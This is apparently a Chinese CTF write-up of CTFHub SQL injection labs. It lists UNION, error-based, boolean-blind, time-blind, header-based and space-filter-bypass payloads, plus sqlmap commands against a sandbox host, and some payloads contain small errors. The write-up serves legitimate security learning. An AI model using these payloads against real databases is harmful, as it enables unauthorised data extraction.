column_name:列的名称
Information_schema.columns:表示所有的列的信息
Information_schema:表示所有信息,包括库、表、列
Information_schema.tables:表示所有的表的信息
table_schema:数据库的名称
table_name:表的名称
原文链接:https://blog.youkuaiyun.com/qq_58784379/article/details/119046308
整数型注入
-
判断是否存在注入,输入1回显,输入2回显,输入3,无回显。思路是可以用union select和group_concat来爆他的数据。
-
爆字段个数,id=1 order by 1,当id =1 order by 3,发现报错,得知表格只有两个字段
-
爆库
id=1 and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata
- 爆表名,两张表,(一个为news,一个为flag)
id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'sqli'
- 爆字段名
id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.colomns where table_name= 'flag'
列名也为flag
- 爆数据
id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag
得到flag。
字符型注入
跟上面一样
- 先爆字段数
1 order by 3/2/1
- 爆库
1' and 1=2 union select 1, group_concat(schema_name) from information_schema.schemata #
- 爆表
1' and 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema = 'sqli' #
同上题,news和flag表
- 爆字段名
1' and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name = 'flag' #
同上题,也是flag字段
- 爆数据
1' and 1=2 union select 1, group_concat(flag) from sqli.flag #
得到flag
报错注入
- 爆字段个数, 一样是order by 3报错
- 爆库,报错注入,用updatexml函数试试
1 and updatexml(1,concat("~", (select database()), "~"), 1) #
- 爆表
多于1行,记得limit 0,1; limit 1,1
1 and updatexml(1,concat("~", (select table_name from information_schema.tables where table_schema = 'sqli' limit 1,1), "~"), 1) #
- 爆字段名
1 and updatexml(1,concat("~", (select table_name from information_schema.columns where table_name = 'flag' limit 0,1), "~"), 1) #
- 爆数据
1 and updatexml(1,concat("~", (select flag from flag limit 0,1), "~"), 1) #
找到flag
布尔盲注
- 爆库名长度
1 and select length(database()) = 4#
- 根据长度爆库名,穷举法
1 and substr(database(),1,1) = 'a'# //query error
1 and substr(database(),1,1) = 's'# //query success
1 and substr(database(),2,1) = 'q'#
1 and substr(database(),3,1) = 'l'#
1 and substr(database(),4,1) = 'i'#
- 对当前库爆表数量, 用select COUNT(*)
1 and (select COUNT(*) from information_schema.tables where table_schema=database())= 1 # //error
1 and (select COUNT(*) from information_schema.tables where table_schema=database())= 2# //success
- 对每张表爆表名长度
注意观察limit i,1. i从0开始(第i+1张表)
1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4#
从这开始就出了问题,本来应该是success的,但报错了,暂时找不出原因,所以改用sqlmap试试
- 爆库名
sqlmap -u http://www.example.com/?id=1 -current-db
- 爆表名
sqlmap -u http://www.example.com/?id=1 -D sqli -tables
爆破,仅限该题。-D 指定数据库
- 爆字段名
sqlmap -u http://www.example.com/?id=1 -D sqli -T flag -columns
- 爆数据
sqlmap -u http://www.example.com/?id=1 -D sqli -T flag -C flag -dump
时间盲注
输入1 order by 3不回显,另寻他法
常用函数:
- 判断注入点
1 and sleep (2)#
两秒后才返回,说明有时间盲注
- 爆库长度和名字
1 and if(length(database())=4, sleep(2), null) #
爆名字,懒得爆了,用sqlmap
正常顺序:
1- 爆库
sqlmap -u http://challenge-18628d3dff2f86dd.sandbox.ctfhub.com:10800/?id=1 -current-db
2-爆表
sqlmap -u http://challenge-18628d3dff2f86dd.sandbox.ctfhub.com:10800/?id=1 -D sqli -tables
3-爆字段
sqlmap -u http://challenge-18628d3dff2f86dd.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -columns
4-爆数据
sqlmap -u http://challenge-18628d3dff2f86dd.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag -dump
Mysql结构
这题与第一题思路和步骤一样
- 爆字段个数
- 爆库
- 爆表名
这里的名字有一点点不一样
- 爆字段名字
1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='ngjkojwbeb'
uragevcpdv
- 爆数据
1 and 1=2 union select 1, group_concat(uragevcpdv) from sqli.ngjkojwbeb#
Cookie注入
通过cookie往后台提交数据,后台取出cookie中的数据,如果直接跟数据库打交道,那么就是一个注入点
刷新
在输入框输入/?id=222,没变,说明不在输入框
抓包,毫无以为,大概率在cookie这里有输入
确实如此
接下来就是一套流程了
- 爆库, 有回显,不用报错注入
1 and 1=2 union select 1,database()
- 爆表名
1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'sqli'
hloianwzjj
- 爆字段名
1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='hloianwzjj'
wxnuxmnepc
- 爆数据
1 and 1=2 union select 1, group_concat(wxnuxmnepc) from sqli.hloianwzjj#
UA注入
输入点在User-Agent,试试吧
0.爆字段个数—order by 2可以,3不行
- 爆库
1 and 1=2 union select 1,database()
- 爆表
1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'sqli'
hksyewtyar
- 爆字段名
1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='hksyewtyar'
rmeeorttoy
- 爆数据
1 and 1=2 union select 1, group_concat(rmeeorttoy) from sqli.hksyewtyar#
Refer 注入
- 爆字段个数 order by 2可以, order by 3不行
- 爆库
1 and 1=2 union select 1, database()
- 爆表
1 and 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema = 'sqli'
xppwvpejzb
- 爆字段名
1 and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name = 'xppwvpejzb'
xqzoxanwpv
- 爆数据
1 and 1=2 union select 1, group_concat(xqzoxanwpv) from sqli.xppwvpejzb
过滤空格
额…
大佬思路: 空格换成/**/,笔记里有提到过一嘴,我忘记在哪了–(找到了)
- 爆字段个数
1/**/order/**/by/**/2 #有回显
- 爆库
1/**/and/**/1=2/**/union/**/select/**/1,database()
- 爆表
1/**/and/**/1=2/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/'sqli'
kptfesiped
- 爆字段名
1/**/and/**/1=2/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/'kptfesiped'
ozllqhdtaz
- 爆数据
1/**/and/**/1=2/**/union/**/select/**/1,group_concat(ozllqhdtaz)/**/from/**/sqli.kptfesiped
综合训练 SQLI-LABS
这个是训练靶场、无 flag, 不开着先